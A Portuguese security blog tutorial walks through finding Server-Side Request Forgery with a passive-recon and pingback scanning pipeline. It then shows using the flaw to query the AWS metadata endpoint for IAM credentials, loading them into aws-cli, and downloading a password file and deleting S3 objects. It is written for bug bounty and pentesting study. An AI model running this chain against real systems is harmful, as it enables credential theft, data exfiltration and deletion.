Identificando e explorando um servidor AWS s3 através de Server-Side Request Forgery

O Amazon S3 ou Amazon Simple Storage Service é um serviço oferecido pela Amazon para armazenar objetos. Neste serviço o cliente pode armazenar diversos dados como backups, credenciais, recuperação de desastres e etc. O serviço visa fornecer disponibilidade e escalabilidade com qualidade e baixa latência. Por esse fato de possuir dados sigilosos, qualquer vazamento de credenciais pode comprometer os dados da empresa e sua reputação. Neste tópico irei mostrar como é possível identificar uma vulnerabilidade de Server-Side Request Forgery (SSRF) afim de extrairmos objetos de dentro de um servidor AWS s3.

Referência: https://en.wikipedia.org/wiki/Amazon_S3

Como funciona a vulnerabilidade Server-Side Request Forgery?

Server-Side Request Forgery ou SSRF é uma vulnerabilidade que possibilita a um atacante induzir uma máquina remota a fazer uma requisição a outro endereço ou máquina. Por exemplo, se um atacante consegue fazer com que uma máquina X mande uma requisição para uma máquina Y através de um parâmetro que recebe uma URL, temos um caso de SSRF. A lógica é que, já que podemos fazer o servidor X fazer uma requisição para um servidor Y, podemos fazer com que esse servidor faça uma consulta no servidor de metadados da AWS, já que só é possível fazer essa consulta se a requisição vem de dentro da própria máquina. Podemos ver isso em funcionamento no diagrama abaixo:

Identificando uma vulnerabilidade Server-Side Request Forgery

Existem diversos métodos para se encontrar uma vulnerabilidade SSRF, sendo por busca ativa, fuzzing, busca passiva, entre outros. Irei demonstrar uma forma básica de se encontrar um SSRF, seja em um programa de bug bounty ou em um pentesting normal.

Ferramentas necessárias:

· urldedupe – Recebe uma lista de URLs e remove as URLs duplicadas;

· paramspider – Enumeração passiva de URLs contendo parâmetros;

· subfinder – Enumeração passiva de subdomínios;

· qsreplace – Recebe uma lista de URLs pelo stdin e substitui os parâmetros pelo valor X;

· waybackurls – Obtém uma lista de URLs através da engine Wayback Machine;

· gauplus – Obtém uma lista de URLs através da engine AlienVault;

· anew – Concatena linhas do stdin a um arquivo, mas somente se elas ainda não aparecem no arquivo;

· gf – Uma extensão do grep para facilitar o processo de filtrar URLs através de uma categoria, que no caso é “ssrf”;

· httpx – Recebe uma URL através do stdin e manda uma requisição;

· ts – Exibe o horário em que cada linha aparece no output do console;

· aws-cli – Ler e escrever arquivos no servidor da AWS s3.

Primeiro, faremos uma busca passiva de URLs contendo parâmetros no website, assim, você obterá diversos parâmetros conhecidos:

python3 paramspider.py --domain site.com

O output do paramspider estará em “output/{nome_do_site}”.

Criaremos um arquivo que vai receber uma lista de URLs e iremos concatenar o output no mesmo:

touch url.txt

cat output/site.com >> urls.txt

Podemos também usar as engines de recon passivo AlienVault e Wayback Machine para recebermos mais URLs e aumentar a nossa chance de encontrar um SSRF.

echo 'site.com' | gauplus >> urls.txt

echo 'site.com' | waybackurls >> urls.txt

Para recebermos o pingback de um website podemos usar o https://webhook.site/ ou o módulo SimpleHTTPServer do python2 + ngrok.

E então podemos iniciar o scan com a seguinte linha de comando:

cat urls.txt | anew | grep '=' | urldedupe -qs | gf ssrf | qsreplace '{seu_link_de_pingback}' | httpx -silent | ts '[%Y-%m-%d %H:%M:%S]'

O comando acima irá fazer uma requisição para cada URL dentro de urls.txt e irá registrar o horário da requisição e, se a URL for vulnerável, vai ser enviado um pingback para a URL que você substituiu usando o qsreplace, contendo o horário.

Obs.: Por motivos de demonstração, usarei apenas um único link no arquivo url.txt e o módulo SimpleHTTPServer do python2.

Caso seja encontrado um parâmetro vulnerável, será mostrado a requisição do pingback, assim basta comparar o horário gerado pelo comando “ts” com o horário da requisição. Obviamente existem formas mais simples de identificar um servidor AWS vulnerável, por exemplo usando expressão regular (regex) no HTML e identificado um output comum da AWS.

Como podemos ver na screenshot, a requisição foi feita no tempo 19:37:14. Fazendo essa comparação podemos perceber que o parâmetro “url” é vulnerável a Server-Side Request Forgery. Agora podemos testar se conseguiremos consultar os metadados da AWS.

Explorando a vulnerabilidade e obtendo credenciais de acesso

É possível que o servidor tenha acesso aos metadados do AWS S3 se acessado localmente, por exemplo, através de um curl ou um curl_exec. O endereço em que se pode enviar uma requisição para fazer essa consulta é o http://169.254.169.254/. Se você fosse o dono da máquina, bastava logar no SSH e fazer “curl http://169.254.169.254/” na shell da máquina, assim, obtendo os metadados da AWS. No caso do SSRF é como se fosse fazer exatamente isso, mas sem precisar ter uma shell na máquina, pois o parâmetro “url” é vulnerável a Server-Side Request Forgery.

Então podemos explorar o parâmetro vulnerável colocando o endereço de consulta da AWS e, então, percebemos que o servidor retornou dois códigos de versão:

Faremos a consulta em “latest”:

Então consultamos a lista de metadados disponíveis:

Logo, entramos no diretório de Identity and Access Management (iam) onde vai ter mais outros dois diretórios. Queremos entrar no diretório “security-credentials” que é onde teremos as credenciais de acesso para nos autenticarmos no aws-cli.

Dentro de “security-credentials” teremos as credenciais de acesso em formato de JSON:

Agora que temos as credenciais, podemos configurá-las no nosso aws-cli e executar comandos:

export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-west-2

Referência: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html

Executando comandos

Quando configuramos o aws-cli podemos executar alguns comandos no s3 e ter controle sobre os arquivos e diretórios armazenados:

· cp

· ls

· mb

· mv

· presign

· rb

· rm

· sync

· website

Por exemplo, podemos listar arquivos e diretórios:

aws s3 ls

Baixar arquivos para a sua máquina:

aws s3 cp s3://diretorio/senhas.txt .

Deletar arquivos:

aws s3 rm s3://mybucket/test2.txt

entre outros comandos.

Referência: https://docs.aws.amazon.com/cli/latest/reference/s3/

Leave a Reply

Your email address will not be published. Required fields are marked *

Copyright © 2024, Decripto.